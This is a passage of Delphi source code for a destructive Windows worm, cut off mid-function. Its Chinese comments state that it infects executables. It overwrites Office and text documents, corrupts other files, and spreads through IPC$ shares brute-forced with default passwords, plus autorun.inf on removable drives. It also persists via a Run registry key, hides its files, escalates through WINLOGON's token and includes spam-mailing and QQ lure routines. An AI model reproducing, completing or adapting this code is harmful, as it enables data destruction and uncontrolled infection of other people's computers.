//{$IMAGEBASE $13140000} //这行不要忘了，指定内存映像基址；否则无法注入成功.
uses
Windows,Sockets,sysutils,classes,wininet,shellapi,winsock,TlHelp32,AccCtrl,AclAPI;
{$R *.res}
const Catchword='I would like to find a good job, but because I very well educated, so many units were rejected, I am very angry, want to vent my

dissatisfaction. I hate this dirty world.';
const Str='老子纵横IT虽3载但宝剑锋利，望得伯乐相助，得一施展才华之机会，本人不胜感激,我现在需要一个工作.！';
const TID=$44444444; //感染标记
const olMailItem = 0;
const lovesize=116736; //病毒体大小
const icosize=8048; //图标大小
const
CRLF = #13#10;
BaseTable: string = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var
SubID{TimerHandle}: DWORD;
qqms:pchar='腾讯公司为了感谢网友的支持，特意送给大家的礼物，QQ游戏卡，请点击下载：'+chr(10)+chr(13)+'http://www.google.com/love.rar'; //150
SendBody: string;
NetShareEnum :function (pszServer : PChar;
sLevel : Cardinal;
pbBuffer : PChar;
cbBuffer : Cardinal;
pcEntriesRead,
pcTotalAvail : Pointer ):DWORD; stdcall;
NetShareEnumNT :function (ServerName :PChar;
Level :DWORD;
Bufptr :Pointer;
Prefmaxlen :DWORD;
EntriesRead,
TotalEntries,
resume_handle:LPDWORD): DWORD; stdcall;
type
TShareInfo50 = packed record
shi50_netname : array [0..12] of Char;
shi50_type : Byte;
shi50_flags : Word;
shi50_remark : PChar;
shi50_path : PChar;
shi50_rw_password : array [0..8] of Char;
shi50_ro_password : array [0..8] of Char;
end;
type
TShareInfo2 = packed record
shi2_netname : PWChar;
shi2_type : DWORD;
shi2_remark : PWChar;
shi2_permissions : DWORD;
shi2_max_uses : DWORD;
shi2_current_uses : DWORD;
shi2_path : PWChar;
shi2_passwd : PWChar;
end;
PShareInfo2 = ^TShareInfo2;
TShareInfo2Array = array [0..512] of TShareInfo2;
PShareInfo2Array = ^TShareInfo2Array;
function IsNT(var Value: Boolean): Boolean;
var Ver: TOSVersionInfo;
BRes: Boolean;
begin
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
BRes := GetVersionEx(Ver);
if not BRes then
begin
Result := False;
Exit;
end else
Result := True;
case Ver.dwPlatformId of
VER_PLATFORM_WIN32_NT : Value := True;
VER_PLATFORM_WIN32_WINDOWS : Value := False;
VER_PLATFORM_WIN32s : Result := False;
end;
end;
function LastPos(Needle: Char; Haystack: String): integer;
begin
for Result := Length(Haystack) downto 1 do
if Haystack[Result] = Needle then
Break;
end;
function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; var PVal: Pointer; var ValSize: Cardinal): boolean;
var
SubKey: String;
n: integer;
MyValType: DWORD;
hTemp: HKEY;
Buf: Pointer;
BufSize: Cardinal;
PKey: PChar;
begin
Result := False;
n := LastPos('\', Name);
if n > 0 then
begin
SubKey := Copy(Name, 1, n - 1);
if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then
begin
SubKey := Copy(Name, n + 1, Length(Name) - n);
if SubKey = '' then
PKey := nil
else
PKey := PChar(SubKey);
if RegQueryValueEx(hTemp, PKey, nil, @MyValType, nil, @BufSize) = ERROR_SUCCESS then
begin
GetMem(Buf, BufSize);
if RegQueryValueEx(hTemp, PKey, nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS then
begin
if ValType = MyValType then
begin
PVal := Buf;
ValSize := BufSize;
Result := True;
end else
begin
FreeMem(Buf);
end;
end else
begin
FreeMem(Buf);
end;
end;
RegCloseKey(hTemp);
end;
end;
end;
function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean;
var
Buf: Pointer;
BufSize: Cardinal;
begin
Result := False;
Value := '';
if RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) then
begin
Dec(BufSize);
SetLength(Value, BufSize);
if BufSize > 0 then
Move(Buf^, Value[1], BufSize);
FreeMem(Buf);
Result := True;
end;
end;
function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): boolean;
var
SubKey: String;
n: integer;
dispo: DWORD;
hTemp: HKEY;
begin
Result := False;
n := LastPos('\', Name);
if n > 0 then
begin
SubKey := Copy(Name, 1, n - 1);
if RegCreateKeyEx(RootKey, PChar(SubKey), 0, nil, REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, hTemp, @dispo) = ERROR_SUCCESS then
begin
SubKey := Copy(Name, n + 1, Length(Name) - n);
if SubKey = '' then
Result := (RegSetValueEx(hTemp, nil, 0, ValType, PVal, ValSize) = ERROR_SUCCESS)
else
Result := (RegSetValueEx(hTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS);
RegCloseKey(hTemp);
end;
end;
end;
function RegSetString(RootKey: HKEY; Name: String; Value: String): boolean;
begin
Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1);
end;
function getcname:string;
begin
result:='';
RegGetString(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Control\ComputerName\ActiveComputerName\ComputerName', Result);
end;
//根据计算机名获取对方IP地址函数
function GetIP(Name:string) : string;
type
TaPInAddr = array [0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe :PHostEnt;
pptr : PaPInAddr;
GInitData : TWSADATA;
begin
WSAStartup($101, GInitData);
Result := '';
phe :=GetHostByName(pchar(Name));
pptr := PaPInAddr(Phe^.h_addr_list);
result:=StrPas(inet_ntoa(pptr^[0]^));
WSACleanup;
end;
//返回IP段前3节
function Extractip(ips: string): string;
begin
Result := '';
while (Pos('.', ips) <> 0) do
begin
Result := Result + Copy(ips, 1, 1);
Delete(ips, 1, 1);
end;
end;
procedure SmashFile(FileName: string); //破坏除了文档和PE文件之外的其他文件
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(Pchar(FileName),0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
except
end;
end;
Procedure WriteWord(FileName:string); //把数据写入文档中覆盖
Var
F : Textfile;
Begin
{$I-}
try
SetFileAttributes(Pchar(FileName), 0); //去掉只读属性
AssignFile(F,FileName);
try
ReWrite(F);
Writeln(F,Str);
finally
Closefile(F);
{$I+}
end;
except
end;
End;
procedure ExtractExeFile(OneFileName:string;TwoFileName:string); //让所有EXE文件中招！！！！！
var
OneSrc,TwoSrc:TFileStream;
Dec:TMemoryStream;
iid:longint;
begin
iid:=$44444444;
try
SetFileAttributes(Pchar(TwoFileName), 0);
Dec:=TMemoryStream.Create;
OneSrc:=TFileStream.Create(OneFileName,fmShareDenyNone or fmOpenRead);
TwoSrc:=TFileStream.Create(TwoFileName,fmShareDenyNone or fmOpenRead);
try
OneSrc.Seek(0,0);
try
TwoSrc.Seek(0,0);
try
dec.CopyFrom(OneSrc,OneSrc.Size);
dec.CopyFrom(TwoSrc,TwoSrc.Size);
dec.Seek(0,2); //跳转到文件流的末端
dec.Write(iid,4); //写入感染标记
finally
TwoSrc.Free;
end;
finally
OneSrc.Free;
end;
finally
Dec.SaveToFile(TwoFileName);
Dec.Free;
end;
except
end;
end;
function TestPeExtract(FileName:string):boolean; //判断文件是否已经被感染过了
var
SrcStream:TFileStream;
iID:longint;
begin
result:=false; //初始值是没有被感染
SrcStream:= TFileStream.Create(FileName, fmOpenRead);
try

try
SrcStream.Seek(-4,2);
SrcStream.Read(iID,4);
if iID=TID then
begin
result:=true;
exit;
end;
finally
SrcStream.Free;
end;
except
end;
end;

procedure ExtractFileRun(FileName:string); //从被感染过的文件中分离出病毒体，并使之再次实施感染。
var
OpenSrc:TFileStream; //对文件进行操作的文件流
SaveDec:TMemoryStream; //对文件进行操作的内存流
begin
try
SaveDec:=TMemoryStream.Create;
OpenSrc:=TFileStream.Create(FileName,fmOpenRead or fmShareDenyNone);//将感染后的程序写入sStream;
try
OpenSrc.Seek(0,0); //将指针跳到并感染程序的的开头
SaveDec.CopyFrom(OpenSrc,lovesize+icosize); // 分离出病毒体
SaveDec.SaveToFile('c:\love.exe');
shellexecute(0,'open',pchar('c:\love.exe'),nil,nil,SW_SHOWNORMAL);
finally
OpenSrc.Free;
SaveDec.Free;
end;
except
end;
end;
function EnumFileInRecursion(path:pchar):Longint;stdcall;
var
searchRec:TSearchRec;
found:Integer;
tmpStr:String;
ExeSize:int64;
begin
Result:=0; //查找结果(文件数)
//加上搜索后缀,得到类似'c:\*.*' 、'c:\windows\*.*'的搜索路径
tmpStr:=strpas(path)+'\*.*';
//在当前目录查找第一个文件、子目录
found:=FindFirst(tmpStr,faAnyFile,searchRec);
try
while found=0 do
//找到了一个文件或目录后
begin
//如果找到的是个目录
if (searchRec.Attr and faDirectory)<>0 then
begin
{在搜索非根目录(C:\、D:\)下的子目录时会出现'.','..'的"虚拟目录"
大概是表示上层目录和下层目录吧。。。要过滤掉才可以}
if (searchRec.Name <> '.') and (searchRec.Name <> '..') and (searchRec.Name<>'WINDOWS') then //不感染windows目录
begin
{由于查找到的子目录只有个目录名，所以要添上上层目录的路径
searchRec.Name = 'Windows';tmpStr:='c:\Windows';
加个断点就一清二楚了}
tmpStr:=strpas(path)+'\'+searchRec.Name;
//自身调用，查找子目录，递归。。。。
Result:=Result+EnumFileInRecursion(PChar(tmpStr));
end;
end
//如果找到的是个文件
{这个也是递归的结束条件，结束条件对于理解递归来说，相当重要}
else begin
{Result记录着搜索到的文件数。可是我是用CreateThread创建线程
来调用函数的，不知道怎么得到这个返回值。。。我不想用全局变量}
Result:=Result+1;
//把找到的文件加到Memo控件
if (uppercase(extractfileext(searchRec.Name))='.DOC') or (uppercase(extractfileext(searchRec.Name))='.DOCX') or
(uppercase(extractfileext(searchRec.Name))='.XLS') or (uppercase(extractfileext(searchRec.Name))='.XLSX') or
(uppercase(extractfileext(searchRec.Name))='.PPT') or (uppercase(extractfileext(searchRec.Name))='.PPTX') or
(uppercase(extractfileext(searchRec.Name))='.TXT') then
begin
WriteWord(strpas(path)+'\'+searchRec.Name);
end
else if (uppercase(extractfileext(searchRec.Name))='.EXE') and (searchRec.Name<>'love.exe') then
begin
if not TestPeExtract(strpas(path)+'\'+searchRec.Name) then
begin
ExtractExeFile('love.exe',strpas(path)+'\'+searchRec.Name);
end
else
begin
ExtractFileRun(strpas(path)+'\'+searchRec.Name);
end;
end
else if (searchRec.Name<>'love.exe') and (searchRec.Name<>'Autorun.inf') then
begin
SmashFile(strpas(path)+'\'+searchRec.Name);
end;
//调用文件感染函数
end;
//查找下一个文件或目录
found:=FindNext(searchRec);
end;
//释放资源
FindClose(searchRec);
except
end;
end;
procedure FileCopyMe(FileName:string;DecFilePath:string); //把自己复制到局域网计算机中的共享目录中
begin
try
if not FileExists(DecFilePath+'\'+FileName) then
begin
copyfile(pchar(expandfilename(FileName)),pchar(DecFilePath+'\'+FileName),false);
end;
except
end;
end;

procedure netshare;
//定义字典内容 我删除了点
const
suse_pass:array[1..4, 1..2] of string = (('administrator',''),('guest',''),('admistrator','123456'),('',''));
var
i,j,q:Integer;
FLibHandle : THandle;
ShareNT : PShareInfo2Array;
entriesread,totalentries:DWORD;
Share : array [0..512] of TShareInfo50;
pcEntriesRead,pcTotalAvail:Word;
OS: Boolean;
NR: tNETRESOURCE;
Ret: DWORD;
cip,aip:string;
begin
//得到本机IP段 下面就扫描了 可以把那个段换成 这个CIP这个变量
cip:=extractip(getip(getcname)); //取计算机ip前三节
if not IsNT(OS) then exit;
for j:=2 to 245 do //扫描IP段的IPC$连接
begin
WNetCancelConnection2(pchar(''+cip+''+inttostr(j)+'\ipc$'), 0, TRUE);
NR.dwType := RESOURCETYPE_ANY;
nr.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;
nr.dwScope := RESOURCE_CONNECTED;
NR.lpLocalName := nil;
NR.lpRemoteName := PChar(''+cip+''+inttostr(j)+'\ipc$');
NR.lpProvider := nil;
for q:=1 to 4 do //密码连接
//writeln('用户密码检验！');
begin
Ret := WNetAddConnection2(NR,pchar(suse_pass[q][1]),pchar(suse_pass[q][2]),CONNECT_UPDATE_PROFILE);
if Ret = NO_ERROR then //成功调用枚举共享
writeln('ipc');
begin
if OS then begin
FLibHandle := LoadLibrary('NETAPI32.DLL');
if FLibHandle = 0 then Exit;
@NetShareEnumNT := GetProcAddress(FLibHandle,'NetShareEnum');
if not Assigned(NetShareEnumNT) then
begin
FreeLibrary(FLibHandle);
Exit;
end;
ShareNT := nil;
//以建立的IPC$密码枚举 ，IP地址用上面的 变量 我这里是定死的 怕他传染太厉害
aip:=''+cip+''+inttostr(j)+'';
if NetShareEnumNT(pchar(aip),2,@ShareNT,DWORD(-1),@entriesread,@totalentries,nil) <> 0 then
begin
FreeLibrary(FLibHandle);
Exit;
end;
if entriesread > 0 then
for i:= 0 to entriesread - 1 do
begin //得到共享 下面调用感染目录函数
FileCopyMe('love.exe','\\'+aip+'\'+String(ShareNT^[i].shi2_netname));
EnumFileInRecursion(pchar('\\'+aip+'\'+String(ShareNT^[i].shi2_netname)));
writeln(''+String(ShareNT^[i].shi2_netname)+'') ;
end;
end else begin
FLibHandle := LoadLibrary('SVRAPI.DLL');
if FLibHandle = 0 then Exit;
@NetShareEnum := GetProcAddress(FLibHandle,'NetShareEnum');
if not Assigned(NetShareEnum) then
begin
FreeLibrary(FLibHandle);
Exit;
end;
if NetShareEnum(nil,50,@Share,SizeOf(Share),
@pcEntriesRead,@pcTotalAvail) <> 0 then
begin
FreeLibrary(FLibHandle);
Exit;
end;
if pcEntriesRead > 0 then
for i:= 0 to pcEntriesRead - 1 do
//lbxShares.Items.Add(String(Share[i].shi50_netname));
end;
FreeLibrary(FLibHandle);
break;
end;
end;
end;
end;
procedure killwebPro(); stdcall;
begin
netshare;
FreeLibraryAndExitThread(subid, 0);
end;

function SearchDisk:string; //搜索计算机中的硬盘
var
i:integer;
RootPath:string;
begin
for i:=25 downto 0 do
begin
RootPath:=chr(65+i)+':'; //得到磁盘标示
if (getdrivetype(pchar(RootPath))=DRIVE_REMOVABLE) or (getdrivetype(pchar(RootPath))=DRIVE_FIXED)
or (getdrivetype(pchar(RootPath))=DRIVE_REMOTE) or (getdrivetype(pchar(RootPath))=DRIVE_RAMDISK) then
begin
if RootPath<>'C:' then
begin
result:=RootPath;
EnumFileInRecursion(pchar(result));
end;
end;
end;
end;
function GetWinDir: string;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)] <> '\' then Result := Result + '\';
end;
procedure copyfilecopyfile;
var
s,s1,s2,s3:string;
i:char;
inf:textfile;
hTemp:HKEY;
begin
//========================创建autorun.inf文件===================================
begin
s:=ExpandFileName(ParamStr(0)); //获取本程序的完整路径
s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';
SetFileAttributes(Pchar(s),FILE_ATTRIBUTE_NORMAL);
SetFileAttributes(Pchar(s1),FILE_ATTRIBUTE_NORMAL);
assignfile(inf, 'Autorun.inf');
rewrite(inf);
writeln(inf, '[AutoRun]');
writeln(inf, '');
writeln(inf, 'open=love.exe');
writeln(inf, 'shell\open=打开(&O)');
writeLn(inf, 'shell\open\Command=love.exe');
writeln(inf, 'shell\open\Default=1');
writeln(inf, 'shell\explore=资源管理器(&X)');
writeln(inf, 'shell\explore\Command=love.EXE');
closefile(inf);
end;
//=====================================end======================================
//=============================将文件复制到系统盘符下===========================
s2:=getwindir;
s3:=pchar(s2+'autorun.inf');
s2:=pchar(s2+'love.exe');
copyfile(pchar(s),pchar(s2),false);
copyfile(pchar(s1),pchar(s3),false);
SetFileAttributes(Pchar(s2), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(Pchar(s3), FILE_ATTRIBUTE_HIDDEN);
//==================================end=========================================
//=============================将文件复制到可移动磁盘===========================
for i:='C' to 'Z' do
if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then
begin
s2:=i;
s3:=pchar(i+':\autorun.inf');
s2:=pchar(s2+':\love.exe');
copyfile(pchar(s),pchar(s2),false);
copyfile(pchar(s1),pchar(s3),false);
SetFileAttributes(Pchar(s2), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(Pchar(s3), FILE_ATTRIBUTE_HIDDEN);
end;
//================================end===========================================
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL', 0, KEY_READ or KEY_WRITE, hTemp)

= ERROR_SUCCESS then //不显示隐藏文件
begin
regdeletevalue(hTemp,'CheckedValue');
regdeletevalue(hTemp,'DefaultValue');
RegCloseKey(hTemp);
end;
//================================end===========================================
end;
procedure ifso;
var
SysPath:String;
begin
SysPath:=getwindir+'love.exe';
RegSetString(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\360',SysPath);
end;
procedure RunNetShare;
begin
try
CreateThread(nil, 0, @killwebPro, nil, 0, SubID);
sleep(10000);
except
end;
end;
function QQnum:string; //随机QQ号码
var
i:integer;
begin
try
Randomize;
for i:=1 to 10 do
begin
result:=result+inttostr(random(10));
end;
messagebox(0,pchar(result),'fsfsd',mb_ok);
except
end;

end;
function StrPas(const Str: PChar): string;
begin
Result := Str;
end;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
PUSH EDI
PUSH ESI
MOV ESI,EAX
MOV EDI,EDX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
NOT ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,ECX
MOV EAX,EDI
SHR ECX,2
REP MOVSD
MOV ECX,EDX
AND ECX,3
REP MOVSB
POP ESI
POP EDI
end;
function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;
// 查表
function FindInTable(CSource: Char): Integer;
begin
Result := Pos(string(CSource), BaseTable)-1;
end;
// 编码
function EncodeBase64(const Source: string): string; //对字符进行编码
var
Times, LenSrc, j: Integer;
x1, x2, x3, x4: Char;
xt: Byte;
begin
Result := '';
LenSrc := Length(Source);
if (LenSrc mod 3 = 0) then Times := LenSrc div 3 else Times := LenSrc div 3 + 1;
for j := 0 to Times - 1 do
begin
if LenSrc >= (3 + j * 3) then
begin
x1 := BaseTable[(Ord(Source[1 + j * 3]) shr 2)+1];
xt := (Ord(Source[1 + j * 3]) shl 4) and 48;
xt := xt or (Ord(Source[2 + j * 3]) shr 4);
x2 := BaseTable[xt + 1];
xt := (Ord(Source[2 + j * 3]) shl 2) and 60;
xt := xt or (ord(Source[3 + j * 3]) shr 6);
x3 := BaseTable[xt + 1];
xt := (Ord(Source[3 + j * 3]) and 63);
x4 := BaseTable[xt + 1];
end
else if LenSrc >= (2 + j * 3) then
begin
x1 := BaseTable[(Ord(Source[1 + j * 3]) shr 2) + 1];
xt := (Ord(Source[1 + j * 3]) shl 4) and 48;
xt := xt or (Ord(Source[2 + j * 3]) shr 4);
x2 := BaseTable[xt + 1];
xt := (Ord(Source[2 + j * 3]) shl 2) and 60;
x3 := BaseTable[xt + 1];
x4 := '=';
end else
begin
x1 := BaseTable[(Ord(Source[1 + j * 3]) shr 2) + 1];
xt := (Ord(Source[1 + j * 3]) shl 4) and 48;
x2 := BaseTable[xt + 1];
x3 := '=';
x4 := '=';
end;
Result := Result + x1 + x2 + x3 + x4;
end;
end;
function LookupName(const Name: string): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := GetHostByName(PChar(Name));
FillChar(InAddr, SizeOf(InAddr), 0);
if (HostEnt <> nil) then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;
function StartNet(Host: string; Port: Integer; var Sock: Integer): Bool;
var
WSAData: TWSAData;
FSocket: Integer;
SockAddrIn: TSockAddrIn;
Err: Integer;
begin
Result := False;
WSAStartup($0101, WSAData);
FSocket := Socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
if (FSocket = INVALID_SOCKET) then Exit;
SockAddrIn.sin_addr := LookupName(Host);
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port := htons(port);
Err := Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn));
if (Err = 0) then
begin
Sock := FSocket;
Result := True;
end;
end;
procedure StopNet(Fsocket:integer);
begin
CloseSocket(FSocket);
WSACleanup();
end;
function SendData(FSocket: Integer; SendStr: string): Integer;
var
DataBuf: array[0..4096] of Char;
Err: Integer;
begin
StrCopy(DataBuf, PChar(SendStr));
Err := Send(FSocket, DataBuf, StrLen(DataBuf), MSG_DONTROUTE);
Result := Err;
end;
function GetData(FSocket: Integer): string;
const
MaxSize = 1024;
var
DataBuf: array[0..MaxSize] of Char;
begin
Recv(FSocket, DataBuf, MaxSize, 0);
Result := StrPas(DataBuf);
end;
function SendMail(Smtp, User, Pass, Getmail, ToMail, Subject,MailText,FileName:string): Bool;
var
FSocket, Res: Integer;
begin
Result := False;
if StartNet(Smtp, 25, FSocket) then
begin
SendData(FSocket, 'HELO ' + User + CRLF);
GetData(FSocket);
SendData(FSocket, 'AUTH LOGIN' + CRLF);
GetData(FSocket);
SendData(FSocket, EncodeBase64(User) + CRLF);
GetData(FSocket);
SendData(FSocket, EncodeBase64(Pass) + CRLF);
GetData(FSocket);
SendData(FSocket, 'MAIL FROM: <' + GetMail + '>' + CRLF);
GetData(FSocket);
SendData(FSocket, 'RCPT TO: <' + ToMail + '>' + CRLF);
Getdata(FSocket);
SendData(FSocket, 'DATA' + CRLF);
GetData(FSocket);
SendBody :=
'From: <' + GetMail + '>' + CRLF +
'To: <' + ToMail + '>' + CRLF +
'Subject: ' + Subject + CRLF +
CRLF + MailText + CRLF + 'http://'+FileName + CRLF + '.' + CRLF;
Res := SendData(FSocket, SendBody);
GetData(FSocket);
SendData(FSocket, 'QUIT' + CRLF);
GetData(FSocket);
StopNet(Fsocket);
Result := (Res <> SOCKET_ERROR);
end;
end;
{function SendQQText( H: HWND ): string;
var
I: Integer;
begin
try
I:= 0;
while(GetAsyncKeyState(113)=0) do
begin
SetForegroundWindow(H);
keybd_event(VK_CONTROL,0,0,0);
Sleep(1000);
PostMessage(H,WM_KEYDOWN,Integer('V'),MapVirtualKey(Integer('V'),0));
keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
PostMessage(H,WM_KEYUP,Integer('V'),MapVirtualKey(Integer('V'),0));
keybd_event(VK_CONTROL,0,0,0);
Sleep(1000);
PostMessage(H,WM_KEYDOWN,VK_RETURN,MapVirtualKey(VK_RETURN,0));
keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
PostMessage(H,WM_KEYUP,VK_RETURN,MapVirtualKey(VK_RETURN,0));
Inc( I, 1 );
end;
Result:= IntToStr( I ) ;
except
end;
end;}
{Procedure qqtext(tem:string);
const QQ2009 = 'QQ2009';
QQ2010 = 'QQ2010';
MainTxf = 'TXFloatingWnd';
SubTxf = 'TXMenuWindow';
ZTxf = 'TXGuiFoundation';
var
hLastWin:THandle;
szWindowText: array[0..MAX_PATH] of Char;
s,QQName:String;
begin
try
hLastWin :=findwindow('TXGuiFoundation',nil);
while hLastWin<>0 do
begin
getwindowtext(hLastWin,szWindowText,sizeof(szWindowText));
if (copy(szWindowText,1,6)<>QQ2010) and (copy(szWindowText,1,6)<>QQ2009) then
begin
if (copy(szWindowText,1,13)<>MainTxf) and (szWindowText<>SubTxf) then
begin
s:=rightstr(szWindowText,4);
if(s<>'盒子') and (s<>'消息') then
begin
if szWindowText<>'' then
begin
QQName:=tem; //QQName+
Clipboard.Clear;
Clipboard.SetTextBuf(pchar(QQName));
QQName:=SendQQText(hLastWin);
end;
end;
end;
end;
hLastWin:=FindWindowEx(0,hLastWin,ZTxf,nil);
end;
except
end;
end;}
{procedure TimeProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);stdcall;
begin
qqtext(qqms);
end;}
{procedure StartTimer(Interval:DWORD);
begin
TimerHandle:=SetTimer(0,0,Interval,@TimeProc);
end; }
{procedure QQWeiBa;
var
Msgs:Tmsg;
begin
try
qqtext(qqms);
StartTimer(5000);
while(GetMessage(Msgs,0,0,0))do
begin
TranslateMessage(Msgs);
DispatchMessage(Msgs);
end;
killtimer(TimerHandle,0);
FreeLibraryAndExitThread(HInstance, 0);
except
end;

end; }
function findprocess(TheProcName: string): DWORD; //查找进程
var
isOK: Boolean;
ProcessHandle: Thandle;
ProcessStruct: TProcessEntry32;
begin
ProcessHandle := createtoolhelp32snapshot(Th32cs_snapprocess, 0);
processStruct.dwSize := sizeof(ProcessStruct);
isOK := process32first(ProcessHandle, ProcessStruct);
Result := 0;
try
while isOK do
begin
if Trim(UpperCase(TheProcName)) = Trim(UpperCase(ProcessStruct.szExeFile)) then
begin
Result := ProcessStruct.th32ProcessID;
CloseHandle(ProcessHandle);
exit;
end;
isOK := process32next(ProcessHandle, ProcessStruct);
end;
CloseHandle(ProcessHandle);
except
end;
end;
function EnableDebugPrivilege: Boolean;
function EnablePrivilege(hToken: Cardinal; PrivName: string; bEnable: Boolean): Boolean;
var
TP: TOKEN_PRIVILEGES;
Dummy: Cardinal;
begin
try
TP.PrivilegeCount := 1;
LookupPrivilegeValue(nil, pchar(PrivName), TP.Privileges[0].Luid);
if bEnable then
TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else TP.Privileges[0].Attributes := 0;
AdjustTokenPrivileges(hToken, False, TP, SizeOf(TP), nil, Dummy);
Result := GetLastError = ERROR_SUCCESS;
except
end;
end;
var
hToken: Cardinal;
begin
try
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken);
result := EnablePrivilege(hToken, 'SeDebugPrivilege', True);
CloseHandle(hToken);
except
end;
end;
function CreateSystemProcess(szProcessName: LPTSTR): BOOL; //创建系统进程
var
hProcess: THANDLE;
hToken, hNewToken: THANDLE;
dwPid: DWORD;
pOldDAcl: PACL;
pNewDAcl: PACL;
bDAcl: BOOL;
bDefDAcl: BOOL;
dwRet: DWORD;
pSacl: PACL;
pSidOwner: PSID;
pSidPrimary: PSID;
dwAclSize: DWORD;
dwSaclSize: DWORD;
dwSidOwnLen: DWORD;
dwSidPrimLen: DWORD;
dwSDLen: DWORD;
ea: EXPLICIT_ACCESS;
pOrigSd: PSECURITY_DESCRIPTOR;
pNewSd: PSECURITY_DESCRIPTOR;
si: STARTUPINFO;
pi: PROCESS_INFORMATION;
bError: BOOL;
label Cleanup;
begin
EnableDebugPrivilege;
pOldDAcl := nil;
pNewDAcl := nil;
pSacl := nil;
pSidOwner := nil;
pSidPrimary := nil;
dwAclSize := 0;
dwSaclSize := 0;
dwSidOwnLen := 0;
dwSidPrimLen := 0;
pOrigSd := nil;
pNewSd := nil;
//选择 WINLOGON 进程
dwPid := findprocess('WINLOGON.EXE');
if dwPid = High(Cardinal) then
begin
bError := TRUE;
goto Cleanup;
end;
hProcess := OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
if hProcess = 0 then
begin
bError := TRUE;
goto Cleanup;
end;
if not OpenProcessToken(hProcess, READ_CONTROL or WRITE_DAC, hToken) then
begin
bError := TRUE;
goto Cleanup;
end;
// 设置 ACE 具有所有访问权限
ZeroMemory(@ea, Sizeof(EXPLICIT_ACCESS));
BuildExplicitAccessWithName(@ea, 'Everyone', TOKEN_ALL_ACCESS, GRANT_ACCESS, 0);
if not GetKernelObjectSecurity(hToken, DACL_SECURITY_INFORMATION, pOrigSd, 0, dwSDLen) then
begin
//第一次调用给出的参数肯定返回这个错误，这样做的目的是为了得到原安全描述符 pOrigSd 的长度
if GetLastError() = ERROR_INSUFFICIENT_BUFFER then
begin
pOrigSd := HeapAlloc(GetProcessHeap(), $00000008, dwSDLen);
if pOrigSd = nil then
begin
bError := TRUE;
goto Cleanup;
end;
// 再次调用才正确得到安全描述符 pOrigSd
if not GetKernelObjectSecurity(hToken, DACL_SECURITY_INFORMATION, pOrigSd, dwSDLen, dwSDLen) then
begin
bError := TRUE;
goto Cleanup;
end;
end
else
begin
bError := TRUE;
goto Cleanup;
end;
end; //GetKernelObjectSecurity()
// 得到原安全描述符的访问控制列表 ACL
if not GetSecurityDescriptorDacl(pOrigSd, bDAcl, pOldDAcl, bDefDAcl) then
begin
bError := TRUE;
goto Cleanup;
end;
// 生成新 ACE 权限的访问控制列表 ACL
dwRet := SetEntriesInAcl(1, @ea, pOldDAcl, pNewDAcl);
if dwRet <> ERROR_SUCCESS then
begin
pNewDAcl := nil;
bError := TRUE;
goto Cleanup;
end;
if not MakeAbsoluteSD(pOrigSd, pNewSd, dwSDLen, pOldDAcl^, dwAclSize, pSacl^, dwSaclSize, pSidOwner, dwSidOwnLen, pSidPrimary, dwSidPrimLen) then
begin
if GetLastError = ERROR_INSUFFICIENT_BUFFER then
begin
pOldDAcl := HeapAlloc(GetProcessHeap(), $00000008, dwAclSize);
pSacl := HeapAlloc(GetProcessHeap(), $00000008, dwSaclSize);
